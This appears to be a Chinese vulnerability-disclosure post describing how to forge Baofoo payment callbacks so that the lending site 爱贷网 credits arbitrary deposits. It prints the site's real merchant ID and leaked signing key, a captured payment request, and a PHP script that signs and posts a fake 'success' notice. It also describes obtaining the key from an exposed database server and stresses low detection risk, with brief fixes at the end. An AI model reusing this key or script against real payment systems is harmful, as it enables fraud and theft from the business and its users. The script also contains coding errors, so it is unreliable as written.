爱贷网高隐匿任意金额充值实战¥0成本从充值到提现全过程回放

一步两步一步两步
一步一步似爪牙
似魔鬼的步伐
摩擦 摩擦
在这光滑的地上摩擦
摩擦似魔鬼的步伐
似魔鬼的步伐

详细说明:

一直想指出这个问题,终于找到实战案例了,该方案理论上适合目前所有的第三方支付接口!



理论上利用该方法刷适当的资金,被发现可能性非常非常小。

接触过一些P2P公司,发现大多数厂商都不会拿自家的订单号跟第三方的订单进行一一校对,所以标题使用了“高隐匿”做修饰。

测试订单号:B8574120150326181817



来看看宝付的《网银支付(借贷分离版)v3.1》交易签名具体算法 Md5Sign = MerchantID + TransID + Result + resultDesc + factMoney + additionalInfo + SuccTime + md5key;



其中除了md5key参数没有具体来源,其他参数均可通过充值时抓包获得,很不幸,无意间这个私密key被俺发现了= = 、、、



code 区域
客户端抓包记录:
URL:http://paygate.baofoo.com/PayReceive/bankpay.aspx
POST:
MerchantID:116745
PayID:1000
TradeDate:20150326181817
TransID:B8574120150326181817
OrderMoney:10000.0
ProductName:
Amount:1
ProductLogo:
Username:
Email:
Mobile:
AdditionalInfo:
Merchant_url:http://www.cnaidai.com/public/baofoopay.html
Return_url:http://www.cnaidai.com/public/baofoopay.html
Md5Sign:F58C39C60D5A498586A17439ABB353ED
NoticeType:1





code 区域
模拟第三方支付向服务器发包:
// 必要修改的参数,其中密钥最重要,其他参数可通过抓充值表单数据包正常获取
$md5_key = "xvaf66u95el7d43e"; // md5密钥(KEY)
$member_id = "116745"; //商户号
$trans_id = "B8574120150326181817"; // 订单编号
$ReturnUrl = "http://www.cnaidai.com/public/baofoopay.html";
$amount = 100;

// TODO:以下代码不必修改
$result = "1";
$result_desc = "01";
$amount = intval($amount) * 100; // 充值金额
$md5_sign = md5($member_id . $trans_id . $result . $result_desc . $amount . $additional_info . $succ_time . $md5_key);
$additional_info = "";
$succ_time = "";
$data = "MerchantID={$member_id}&TransID={$orderid}&Result={$result}&resultDesc={$result_desc}&factMoney={$amount}&additionalInfo={$additional_info}&SuccTime={$succ_time}&Md5Sign={$md5_sign}";
post($ReturnUrl, $data);

function post($url, $data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_exec($ch);
curl_close($ch);
}





文中提到的第三方支付参考文档:

http://z.download.csdn.net/detail/bigamer/7081105



提现我就不测了,我就刷了100块钱到账户,订单编号是B8574120150326181817,你们把相应的金额扣除掉吧!

漏洞证明:









最后说以下私密泄漏来源,最近翻了一下总表记录大于1G的弱密码库,顺便就把你们家翻出来了,这台服务器是你们家的开发环境还是?详看截图!





修复方案:

1.3306端口不对外开放

2.记录第三方回调时的ip

3.修改所有第三方支付的相关私密key

你可能感兴趣的:(逻辑缺陷)